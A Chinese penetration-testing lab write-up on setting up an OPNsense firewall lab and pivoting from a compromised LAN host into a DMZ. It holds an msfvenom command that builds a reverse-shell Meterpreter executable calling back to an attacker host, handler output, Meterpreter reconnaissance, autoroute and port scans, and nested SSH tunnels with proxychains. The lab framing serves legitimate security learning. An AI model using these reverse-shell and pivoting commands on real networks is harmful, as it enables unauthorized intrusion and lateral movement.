OPNsense防火墙搭建实验环境,MSF与SSH进行流量转发
OPNsense防火墙搭建实验环境,MSF与SSH进行流量转发
摘要:
记录实验过程中踩到的坑。介绍OPNsense防火墙的安装配置并搭建实验环境,利用msf的模块及ssh进行流量转发(LAN向DMZ方向),为内网渗透做好准备。
目录:
一、实验环境
二、OPNsense环境搭建
三、LAN主机控制权,执行反弹shell
四、判断内网网段
五、寻找存活主机并扫描端口
六、msf模块(socks4a)
七、SSH嵌套(socks5):本地端口转发 + 远程端口转发 + 动态端口转发
八、使用proxychains代理
九、其它:nc获取HTTP,\r\n换行符问题
十、总结
正文:
一、实验环境
目标:已控制LAN主机,需要向DMZ进行渗透。
一般DMZ为外网可以直接访问,这里没有添加WAN到DMZ的NAT规则。因为实验只是模拟LAN到DMZ,没有影响。
这里的DMZ可类似等于,LAN中其它网段的内网。
网络初始情况:(防火墙默认的规则)
LAN 可以访问 WAN + DMZ
DMZ 无法访问 WAN + LAN
WAN 无法访问 DMZ + LAN
二、OPNsense环境搭建
1、VM虚拟机的网卡设置:用于 LAN OPT(DMZ)
选择“仅主机模式” 。
不要开启DHCP服务,后续让OPNsense 来完成这个功能。
2、OPNsense硬件:配置三块网卡
第一块 VMnet10 配置成LAN:DHCP服务器 + web管理
第二块 VMnet11 配置成DMZ(OPT1):DHCP服务器
第三块 桥接物理网络 WAN:自动获取IP
3、登陆:初始账号密码:root opnsense
4、指定接口(选项1)
5、配置LAN(选项2):DHCP服务器 + web管理
会显示Web管理界面的地址(即防火墙IP)
6、配置DMZ(OPT1)(选项2):DHCP服务器
7、配置WAN(选项2):自动获取IP
8、配置完成
注意:遇到几次 OPT1 显示的ip不是设置的ip,而是DHCP的第一个地址。原因没找到…重新再对OPT1进行设置即可…
9、启动其它虚拟机
配置相应的VM网卡即可
注意:其它虚拟机最好不要先于防火墙启动(除非最后再重新获取一下IP),可能会出现LAN无法访问到DMZ之类的各种问题…
10、web管理界面:
LAN主机访问 192.168.100.1 登陆,进行防火墙规则配置。
三、LAN主机控制权,执行反弹shell
不讨论获取控制权的方法
注意:使用80/22这类防火墙允许出站的端口
直接msf生成,放到LAN执行
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.6 lport=80 -a x86 --platform win -f exe -o test_re_shell.exe
kali监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:80
[*] Sending stage (179267 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.6:80 -> 192.168.1.8:17172) at 2017-12-13 19:55:28 +0800
meterpreter >
四、判断内网网段
LAN网段:
meterpreter命令 ifconfig
meterpreter > ifconfig
...
Interface 13
============
Name : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:da:02:47
MTU : 1500
IPv4 Address : 192.168.100.21
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::18ab:6da2:c479:1fe5
IPv6 Netmask : ffff:ffff:ffff:ffff::
...
DMZ网段:
1、netstat:寻找指向DMZ的连接
meterpreter > netstat
Connection list
===============
Proto Local address Remote address State User Inode PID/Program name
----- ------------- -------------- ----- ---- ----- ----------------
...
tcp 192.168.100.21:49310 192.168.150.22:80 ESTABLISHED 0 0 1560/iexplore.exe
...
2、查看dns缓存记录(windows环境):
ipconfig /displaydns
meterpreter > shell
Process 2548 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Users\molibird\Desktop>ipconfig /displaydns
ipconfig /displaydns
Windows IP ����
...
www.baidu.com
----------------------------------------
û�� AAAA ���͵ļ�¼
...
找到疑似内网的域名进行ping 获取ip
C:\Users\molibird\Desktop>ping www.molibird.com
...
3、查看dns缓存记录(linux环境):
Linux下,默认好像不存在系统级别的dns缓存。
另外,nscd服务可以达到效果,但默认不启动,并且无法查看具体缓存信息。
service nscd start #开启服务
nscd -g #只能看缓存的整体统计
file /var/cache/nscd/hosts #缓存文件是 data 类型,无法直接查看,也没有找到命令可以...
4、traceroute:通过路由情况 判断控制的LAN主机 是否在更深层的网络
访问外网任意域名即可
meterpreter > shell
C:\Users\molibird\Desktop>tracert www.molibird.com #windows环境cmd
C:\Users\molibird\Desktop>traceroute -n www.molibird.com #linux环境
五、寻找存活主机并扫描端口
msf 路由功能:
1、post/multi/manage/autoroute
注意:添加DMZ网段时 记得修改 cmd 参数 add ! 否则会直接无视subnet的设置
msf exploit(handler) > use post/multi/manage/autoroute
msf post(autoroute) > set subnet 192.168.100.0 #LAN #set subnet 192.168.150.0 #DMZ
subnet => 192.168.100.0
msf post(autoroute) > set session 1
session => 1
msf post(autoroute) > set cmd add #默认参数autoadd会无视subnet的设置 自行判断 然后添加
cmd => add
msf post(autoroute) > show options
Module options (post/multi/manage/autoroute):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD add yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
SESSION 1 yes The session to run this module on.
SUBNET 192.168.100.0 no Subnet (IPv4, for example, 10.10.10.0)
msf post(autoroute) > exploit
[!] SESSION may not be compatible with this module.
[*] Running module against WIN-IFS3VSNKUQU
[*] Adding a route to 192.168.100.0/255.255.255.0...
[+] Route added to subnet 192.168.100.0/255.255.255.0.
[*] Post module execution completed
2、meterpreter的模块autoroute (已经不推荐使用)
meterpreter > run autoroute -h #查看帮助
meterpreter > run autoroute -s 192.168.100.0/24 #添加
meterpreter > run autoroute -d -s 192.168.100.0/24 #删除
meterpreter > run autoroute -p #列出目前路由
扫描端口功能:
注意:发现 RHOST设置太大范围的话 很可能会漏报。
1、post/windows/gather/arp_scanner
2、auxiliary/scanner/portscan/tcp
3、auxiliary/scanner/portscan/syn
4、auxiliary/scanner/portscan/ack
在meterpreter中使用:run + 参数
例子:
meterpreter > run auxiliary/scanner/portscan/syn RHOSTS=192.168.100.20-25 PORTS=1-100 THREADS=10
在msfconsole中使用:例子:
msf post(autoroute) > use auxiliary/scanner/portscan/ack
msf auxiliary(ack) > set THREADS 10
THREADS => 10
msf auxiliary(ack) > set PORTS 1-100
PORTS => 1-100
msf auxiliary(ack) > set RHOSTS 192.168.100.18-22
RHOSTS => 192.168.100.18-22
msf auxiliary(ack) > show options
Module options (auxiliary/scanner/portscan/ack):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-100 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.100.18-22 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 10 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(ack) > exploit
总结的情况:
SYN/ACK类的都无法转发,完整的TCP可以进行转发
红色对钩:可以扫描
黑色乄(DMZ-ARP扫描中):ARP协议在同一网段中使用,所以对于DMZ无法适用。但又和其余黑色×不同,用wireshark抓包发现,ARP实际发送给了192.168.1.8防火墙(被转发了)。
其余黑色×:封包直接就发送给了不存在的192.168.100.0/24和192.168.150.0/24。(SYN/ACK无法被转发)
六、msf模块(socks4a)
将msf环境下的route供应给其它程序使用
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf auxiliary(socks4a) > set SRVPORT 1080
SRVPORT => 1080
msf auxiliary(socks4a) > exploit
[*] Auxiliary module running as background job 0.
msf auxiliary(socks4a) >
[*] Starting the socks4a proxy server
七、SSH嵌套(socks5):本地端口转发 + 远程端口转发 + 动态端口转发
SSH 有三种端口转发的情况:
本地端口转发
远程端口转发
动态端口转发
草图中 红色箭头是真实流量的方向,黑色箭头是ssh连接的方向
对于本文的情况只能选择远程端口转发,这样可能需要多次使用ssh命令增加转发的规则。
将SSH嵌套使用:本地端口转发(外层)+ 远程端口转发(中层) +动态端口转发(内层)
1、外层:kali 既是ssh服务端,又是ssh客户端
在中层之后,kali监听的是本地的 127.0.0.1。
当我需要使用AWVS这类windows平台工具对DMZ进行渗透的时候,需要借用kali中建立的隧道。
利用本地端口转发 -g 的模式 开放一个端口给整个kali渗透这边的局域网。
2、中层:kali 是ssh服务端 ,LAN主机是ssh客户端
进行两主机间的端口转发
3、内层:LAN主机 既是ssh服务端,又是ssh客户端
将ssh“升级”为动态,避免多次使用ssh命令指定转发规则。
流量转发流向:windows渗透平台(192.168.1.2)
1、软件设置:192.168.1.2 –> 192.168.1.6:6000 (kali)
2、通过外层:192.168.1.6:6000(kali) –>192.168.1.6:7000(kali)
3、通过中层:192.168.1.6:7000(kali) –> 192.168.1.8 (防火墙)
4、通过中层 + 防火墙NAT:192.168.1.8(防火墙) –>192.168.100.22:2000(LAN主机)
5、通过内层:192.168.100.22:2000(LAN主机) –> 192.168.100.22:22(LAN主机)
6、代理访问:192.168.100.22:22(LAN主机) –> 192.168.100.22:xxx(随机端口) –> 192.168.150.80:80(DMZ主机)
步骤:
步骤一:kali:(外层ssh服务端 + 中层ssh服务端)
配置文件:/etc/ssh/sshd_config
Port 53
PermitRootLogin yes
PasswordAuthentication yes
步骤二、LAN主机:(内层ssh服务端)配置
配置文件:/etc/ssh/sshd_config
Port 22
PermitRootLogin yes
PasswordAuthentication yes
步骤三、LAN主机:(内层ssh进行连接)(自己连自己) 监听在端口2000
ssh -f -CN -D 2000 root@127.0.0.1 -p 22
步骤四、LAN主机:(中层ssh向kali进行连接) 远程端口转发
1、转发目标为 内层ssh的监听端口20002、会在kali上开启7000端口进行监听 转发流量
ssh -CN -R 7000:127.0.0.1:2000 root@192.168.1.6 -p 53
步骤五、kali:(外层ssh进行连接)(自己连接自己)监听在6000端口
-g参数!让局域网可用!
ssh -CN -g -L 6000:127.0.0.1:7000 root@127.0.0.1 -p 53
步骤六、windows渗透平台,通过 127.0.0.1:6000 进行代理即可
八、使用proxychains代理
配置文件/etc/proxychains.conf添加:
socks4和socks4a协议的 都是写作socks4
socks4 host port
#socks5 host port
进行代理:
proxychains nc 192.168.150.22 80
proxychains firefox
proxychains nmap -T4 -vv -Pn -sT 192.168.150.0/24
1、firefox使用:
注意:在proxychains开启firefox的时候,千万不要已经有firefox实例启动着!!!通通关掉!!!
另外,firefox可以直接指定socks代理 不通过proxychains:
注意:设置socks代理的时候,上面的一些不需要填写!空着!
2、nmap使用:
注意:使用 -sT 参数!
注意:使用 -Pn 参数跳过主机存活检测
socks、proxychains 都无法代理单独的SYN/ACK这类的扫描,只能使用TCP完整连接进行扫描!
nmap 会先 进行DNS的查询(不会有正确的响应),接着会进行转发。
proxychains nmap -T4 -vv -Pn -sT 192.168.150.0/24
九、其它:nc获取HTTP,\r\n换行符问题
遇到情况:
1、直接连接:回车换行直接发送,导致无法加入其它HTTP头
nc -nv 192.168.1.2 80
GET / HTTP/1.1 #回车这里会直接发送出去了...
2、proxychains 代理 nc:回车换行 可能无效(有些网站正常/有些不正常)
root@kali201702:~# proxychains nc 192.168.100.1 80
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:6000-<><>-192.168.100.1:80-<><>-OK
GET / HTTP/1.1
Host: 192.168.100.1
#这里的回车 没有效果
原因没有找到
解决办法:
1、将HTTP请求写在文本里 然后重定向到nc
vim编写的时候 需要设置 :set fileformat=dos 让换行成为\r\n
http.txt最后有两个 \r\n 换行
GET / HTTP/1.1
Host: 192.168.1.2
nc -nv 192.168.1.2 80 < http.txt
2、echo + 管道:
-e 参数 可以解析\r\n
echo -e 'GET / HTTP/1.1\r\nHost: 192.168.1.2\r\n\r\n' | nc 192.168.1.2 80
3、连带最后两个换行,直接右键复制文本到终端窗口…
十、总结
1、实验场景是从LAN到DMZ,不知道真实情况这种多不多(社工?)。一般DMZ是可以外网直接访问到,然后从WEB切入,应该就需要从DMZ渗透到LAN,此时防火墙是会阻止这样的访问,这也是设立DMZ的一个目的。这种情况后续还需要再学习…
2、如同这里写的SSH嵌套使用,其它的DNS隧道/HTTP隧道等好像都有可能相互嵌套。感觉就是俄罗斯套娃…
3、msf的路由功能、socks代理、proxychains 无法转发SYN/ACK这类的扫描,使用完整TCP连接进行扫描。namp 使用 -sT 参数 并用 -Pn 跳过主机发现阶段。
参考:
1、http://www.freebuf.com/articles/network/125278.html
2、https://security.stackexchange.com/questions/120708/nmap-through-proxy/120723#120723
3、https://unix.stackexchange.com/questions/28553/how-to-read-the-local-dns-cache-contents
4、https://www.offensive-security.com/metasploit-unleashed/proxytunnels/
5、https://www.offensive-security.com/metasploit-unleashed/pivoting/
6、https://m0n0.ch/wall/m0n0wall%20handbook%20chinese.pdf
防火墙产品:OPNsense、pfSense、m0n0wall(官网好像已经没有下载连接了)
1、https://opnsense.org/
2、https://www.pfsense.org/
3、https://m0n0.ch/wall/index.php
OPNsense防火墙搭建实验环境,MSF与SSH进行流量转发的更多相关文章
- [dpdk] 熟悉SDK与初步使用 (一)(qemu搭建实验环境)
搭建实验环境: troubleshoot 第一步加载驱动 第二步切换驱动 使用了所有qemu支持的卡 [tong@T7:~/VM/dpdk] % cat start.sh sudo qemu-syst ...
- O016、搭建实验环境
参考https://www.cnblogs.com/CloudMan6/p/5350536.html 在学习 OpenStack 各服务之前,需要先搭建一个实验环境. 一个看得到摸得着而且能让 ...
- 【MySQL】MySQL无基础学习和入门之一:数据库基础概述和实验环境搭建
数据库基础概述 大部分互联网公司都选择MySQL作为业务数据存储数据库,除了MySQL目前还有很多公司使用Oracle(甲骨文).SQLserver(微软).MongoDB等. 从使用成本来区分可以 ...
- openstack Mitaka实验环境安装(centos系统)
本博文仅供参考,具体一定详细学习官方安装文档. 一 准备工作 二安装过程 1 安装NTP服务 2 安装openstack包 3 SQL数据库安装 4 安装消息队列 message queue 5 Me ...
- vSphere可用性之三准备实验环境
第三章 准备实验环境 在上篇内容中,讲述了进行VMware HA实验所必需的软硬件条件.接下来将使用这些来搭建实验环境.主要内容为依据拓扑图安装ESX主机系统.ISCSI存储系统. 此次实验环境的建置 ...
- 动手实验iptables的NAT功能实现流量穿透
1.NAT和iptables理论见: http://lustlost.blog.51cto.com/2600869/943110 2.引子 近期,有同事抱怨说数据入库时,由于数据库所在的服务器只有内网 ...
- Linux下的ssh实验环境搭建与管理
实验环境[size=10.5000pt]1:网桥模式[size=10.5000pt]2:安装好vmtoos[size=10.5000pt]3:安装好yum[size=10.5000pt]4:安装好ss ...
- TensorFlow实验环境搭建
初衷: 由于系统.平台的原因,网上有各种版本的tensorflow安装教程,基于linux的.mac的.windows的,各有不同,tensorflow的官网也给出了具体的安装命令.但实际上,即使te ...
- jenkins+git+docker实验环境的搭建
持续集成(c/i)的实验环境 git/harbor服务器 ip 192.168.200.132 docker服务器 ip 192.168.200.149 Jenkins服务器 ...
随机推荐
- keepalived脑裂问题
一.对脑裂的理解 在高可用(HA)系统中,当联系2个节点的“心跳线”断开时,本来为一整体.动作协调的HA系统,就分裂成为2个独立的个体.由于相互失去了联系,都以为是对方出了故障.两个节点上的HA软件像 ...
- Leetcode刷题5—最大子序和
一.题目要求 二.题目背景 动态规划(英语:Dynamic programming,简称 DP)是一种在数学.管理科学.计算机科学.经济学和生物信息学中使用的,通过把原问题分解为相对简单的子问题的方式 ...
- java中单例模式的优缺点
一.什么叫单例 对单例类实例化后拿到的都是堆里面的同一个实例对象,通俗一点就是所有的这个单例的实例化引用都指向堆内存中的一个实例对象(有且仅有一个) 使用场景:对象需要频繁的实例化和销毁,此时考虑使用 ...
- OOP理念
面向过程让计算机有步骤地顺次做一件事情,是一种过程化地叙事思维.但是在大型软件开发过程中,发现用面向过程语言开发,软件维护.软件复用存在着巨大困难,代码开发变成了记流水账,久而久之就称为"面 ...
- Hbase标准配置文件 + 增删改查
1.可用配置文件 <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href=&q ...
- mysq的慢查询日志
MySQL 慢查询日志是排查问题 SQL 语句,以及检查当前 MySQL 性能的一个重要功能. 查看是否开启慢查询功能: mysql> show variables like 'slow_que ...
- 一次JDBC支持表情存储的配置过程
公司的一个项目,一开始没有考虑到内容字段支持表情,有一个接入方的内容含有表情要支持下 项目是基于Springboot的. 方案1先尝试直接配置数据库连接 shardingsphere: datasou ...
- 人渣给我笔记本网络适配器里加的的“bluetooth设备(个人局域网)”,卸载不掉
- bzoj 4736: 温暖会指引我们前行 (LCT 维护最大生成树)
链接:https://www.lydsy.com/JudgeOnline/problem.php?id=4736 题面: 寒冬又一次肆虐了北国大地 无情的北风穿透了人们御寒的衣物 可怜虫们在冬夜中发出 ...
- 【Python】【demo实验8】【练习实例】【计算当天是当年的第几天】
题目:输入某年某月某日,判断这一天是这一年的第几天? 程序分析: 以3月5日为例,应该先把前两个月的加起来,然后再加上5天即本年的第几天,特殊情况,闰年且输入月份大于2时需考虑多加一天: 对于年份,需 ...